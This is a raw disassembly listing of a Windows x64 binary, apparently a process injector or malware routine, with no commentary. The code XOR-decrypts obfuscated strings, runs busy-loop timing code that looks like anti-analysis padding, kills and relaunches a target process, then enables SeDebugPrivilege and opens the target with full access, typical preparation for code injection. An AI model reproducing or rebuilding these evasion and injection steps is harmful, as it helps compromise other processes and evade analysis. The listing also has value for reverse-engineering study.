mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rsi, 0x80ad56a2cc0d4b4b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rdi, 0xc1f097f7809868cc
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movdqa xmm0, xmmword [rbp + 0x260]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x260]
call fcn.14001a660
mov dword [rbp], eax
test eax, eax
mov r13d, 0
jne 0x14001de02
movabs rax, 0xf6e276ffec206b10
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x80], rax
movabs rax, 0xa4def19befef1aa9
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x88], rax
movabs rax, 0xf67940d39118ad2d
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x90], rax
movabs rax, 0x703ad66937fc5d41
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x98], rax
movabs rax, 0x204f17e2fffc4e9e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xa0], rax
movabs rax, 0xfb8ba6551c75f23
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9c5e8c387fb348f6
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xb0], rax
movabs r12, 0x7759fe853b802ce2
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x48], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x50], rax
movabs rax, 0x155686495392282e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x58], rax
movabs rax, 0x4e3a76aedf993dff
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x60], rax
movabs rax, 0x78cadf131ee73740
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x68], rax
movabs r13, 0x9c5e8c3875d52499
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140018280
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, 0xffffffffffffffff
jmp 0x14001f52d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x33b4], 0xffffffff
mov dword [rbp + 0x2034], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x2034], eax
inc rdx
cmp rdx, 0x270
jb 0x14001de20
mov dword [rbp + 0x2030], 0x270
mov dword [rbp + 8], r13d
lea rcx, [rbp + 0x400]
call fcn.14001bea0
mov r14, qword [rbp + 0x400]
add r14, 0x5f5e100
mov r15d, 1
movabs r13, 0xb2f4fc0794908cf3
nop word [rax + rax]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001de9f
imul rax, rcx, 0x64
jmp 0x14001df0e
cmp rbx, 0x16e3600
jne 0x14001def3
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001df0e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14001e0fc
lea rax, [rbp + 0x2030]
mov qword [rbp + 0x138], rax
lea rax, [rbp + 0x2030]
mov qword [rbp + 0x140], rax
mov esi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x138]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14001df7a
nop word [rax + rax]
lea rcx, [rbp + 0x138]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001df60
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rbp + 0x140]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x14001dfda
cmp ecx, 0x64
jae 0x14001dfda
nop
lea rcx, [rbp + 0x140]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001dfc0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
add edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x2030]
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x148]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x14001e04a
cmp ecx, 0x64
jae 0x14001e04a
nop
lea rcx, [rbp + 0x148]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001e030
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
imul edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x2030]
mov qword [rbp + 0x150], rax
lea rcx, [rbp + 0x150]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14001e0ba
cmp edx, 0x64
jae 0x14001e0ba
nop
lea rcx, [rbp + 0x150]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x14001e0a0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 8]
sub eax, ecx
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], edx
sub rsi, r15
jne 0x14001df40
jmp 0x14001de80
mov eax, dword [rbp + 8]
mov dword [0x1400a5998], eax
mov r15d, dword [rbp]
mov ecx, r15d
call fcn.14001a730
movabs r12, 0x7759fe853b802ce2
movabs r13, 0x9c5e8c3875d52499
test al, al
jne 0x14001e51d
movabs rax, 0xf6e276ffec206b10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0x91d0f19befef1aa9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0xf97947cfba5ba727
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0x7117a63d3cdc085d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0x2b56268ef3f75492
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0xca3be443e824421
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x9c5e8c3875df0ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs r14, 0xc1f097f7809868cc
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0x155686495392282e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0x4e3a76aedf993dff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x78cadf131ee73740
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x460], ymm1
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x480], ymm1
lea rcx, [rbp + 0x460]
vzeroupper
call fcn.140018280
lea rsi, [rsp + 0x5b78]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rsi
mov rbx, qword [rsi]
mov rax, rbx
xor rax, rcx
mov qword [rbp + 0x398], rax
xor r14d, r14d
mov qword [rsi], r14
mov r8d, r15d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14001e39a
mov dword [rbp + 0xe0], 0x104
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0xa90]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
mov rcx, rdi
test eax, eax
je 0x14001e394
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
lea rax, [rbp + 0xa90]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14001e380
lea rdx, [rbp + 0xa90]
jmp 0x14001e3b9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm1, xmm1
xorps xmm0, xmm0
lea rdx, [0x140083030]
xor r8d, r8d
movdqu xmmword [rbp + 0xd0], xmm1
movups xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call fcn.14000b690
nop
mov qword [rbp + 0x398], rbx
mov qword [rsi], rbx
lea rbx, [rsp + 0x5b78]
mov rsi, qword [rbx]
mov qword [rbx], r14
mov r8d, r15d
xor edx, edx
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14001e40e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rsi
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x5b78]
mov rdi, qword [rax]
xor esi, esi
mov qword [rax], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x800], xmm0
movups xmmword [rbp + 0x810], xmm0
movups xmmword [rbp + 0x820], xmm0
movups xmmword [rbp + 0x830], xmm0
movups xmmword [rbp + 0x840], xmm0
movups xmmword [rbp + 0x850], xmm0
mov qword [rbp + 0x860], rax
movups xmmword [rbp + 0x440], xmm0
mov qword [rbp + 0x450], rax
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rdx, qword [rbp + 0xc0]
lea rax, [rbp + 0x440]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x800]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14001e4e1
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rdi
mov r8, qword [rbp + 0xd8]
cmp r8, 7
jbe 0x14001e504
mov rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0xc0]
call fcn.14001b3e0
movdqa xmm0, xmmword [0x140083fb0]
movdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], si
jmp 0x14001e523
xor esi, esi
lea r14d, [rsi + 1]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [0x1400a5960]
movabs rax, 0xe6c139d5be683d04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xc1f097f7e5e00de2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rdi, 0xc1f097f7809868cc
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x270]
call fcn.14001a660
mov dword [rbp], eax
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x4744], 0xffffffff
mov dword [rbp + 0x33c4], eax
mov rdx, r14
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x33c4], eax
inc rdx
cmp rdx, 0x270
jb 0x14001e5e0
mov dword [rbp + 0x33c0], 0x270
mov dword [rbp + 8], esi
lea rcx, [rbp + 0x10]
call fcn.14001bea0
mov r14, qword [rbp + 0x10]
add r14, 0x5f5e100
mov r13d, 0x80000000
mov r12d, 1
movabs r15, 0xb2f4fc0794908cf3
nop dword [rax]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001e65f
imul rax, rcx, 0x64
jmp 0x14001e6ce
cmp rbx, 0x16e3600
jne 0x14001e6b3
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001e6ce
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14001e8bc
lea rax, [rbp + 0x33c0]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x33c0]
mov qword [rbp + 0x160], rax
mov esi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x158]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14001e73a
nop word [rax + rax]
lea rcx, [rbp + 0x158]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001e720
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x160]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x14001e79a
cmp ecx, 0x64
jae 0x14001e79a
nop
lea rcx, [rbp + 0x160]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001e780
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 8]
add edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x33c0]
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x14001e80a
cmp ecx, 0x64
jae 0x14001e80a
nop
lea rcx, [rbp + 0x168]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001e7f0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 8]
imul edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x33c0]
mov qword [rbp + 0x170], rax
lea rcx, [rbp + 0x170]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14001e87a
cmp edx, 0x64
jae 0x14001e87a
nop
lea rcx, [rbp + 0x170]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x14001e860
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 8]
sub eax, ecx
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], edx
sub rsi, r12
jne 0x14001e700
jmp 0x14001e640
mov eax, dword [rbp + 8]
mov dword [0x1400a5998], eax
mov r15d, dword [rbp]
mov ecx, r15d
call fcn.14001a730
test al, al
movabs r12, 0x7759fe853b802ce2
movabs r13, 0x9c5e8c3875d52499
jne 0x14001ea3a
movabs rax, 0xf2fd76ffec206b10
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
movabs rax, 0xae9eb784f3fd0ba3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
movabs rax, 0x90375dd1bb79e821
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
movabs rax, 0x1f76a8273af34f4f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
movabs rdx, 0x4e3a76aedf993dff
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
movabs rcx, 0x78cadf131ee73740
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x68], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
movabs r14, 0xc1f097f7809868cc
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
movabs rax, 0x155686495392282e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vxorps xmm0, xmm0, xmmword [rbp + 0xa0]
vmovdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140018280
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, 0xffffffffffffffff
jmp 0x14001f52d
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xor esi, esi
mov qword [rbp + 0xe8], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0xe8]
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r14d, [rsi + 1]
test eax, eax
je 0x14001eac9
mov dword [rbp + 0x280], r14d
mov dword [rbp + 0x28c], 2
lea r8, [rbp + 0x284]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14001eabc
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x280]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
mov qword [rbp + 0x20], rax
test rax, rax
jne 0x14001ebdf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0xf0e276ffec206b10
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x40], rcx
movabs rax, 0xb295f498f2c806a9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x48], rcx
movabs rax, 0xd43c58d5be5ee826
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x50], rcx
movabs rax, 0x155cde6c2ba20814
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
movabs r14, 0xc1f097f7809868cc
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
movabs rax, 0x155686495392282e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140018280
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ebx, [r15 - 2]
jmp 0x14001f52d
lea rdi, [rsp + 0x5b78]
mov rbx, qword [rdi]
mov qword [rdi], rsi
mov dword [rbp + 0x2c], esi
lea rdx, [rbp + 0x2c]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x14001edb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0xefce76d6eb632a08
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a0], rcx
movabs rax, 0xa084b79af2f10ea2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a8], rcx
movabs rax, 0xdf2b449cab5daf27
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4b0], rcx
movabs rax, 0x7624e76920e14d4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x3c4f02cdbaed5497
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x7292fa6b2ec70d25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs r14, 0xc1f097f7809868cc
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x155686495392282e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0x4e3a76aedf993dff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rsi, 0x78cadf131ee73740
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x4a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x4c0], ymm1
lea rcx, [rbp + 0x4a0]
vzeroupper
call fcn.140018280
mov qword [rdi], rbx
jmp 0x14001edf7
mov dword [rbp + 0x28], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x28]
cmp dword [rbp + 0x2c], eax
sete al
mov qword [rdi], rbx
test al, al
jne 0x14001ef41
movabs rsi, 0x78cadf131ee73740
movabs r14, 0xc1f097f7809868cc
movabs rax, 0xeee476ffec206b10
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
movabs rax, 0xb3a0b793e9f409ba
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
movabs rax, 0xc21814cfac5dab3a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
movabs rax, 0x6022e52c27fb404d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
movabs rax, 0x4e3a76aed5b7588d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x68], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
movabs rax, 0x155686495392282e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
movabs rax, 0x4e3a76aedf993dff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vxorps xmm0, xmm0, xmmword [rbp + 0xa0]
vmovdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140018280
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0xfffffffd
jmp 0x14001f52d
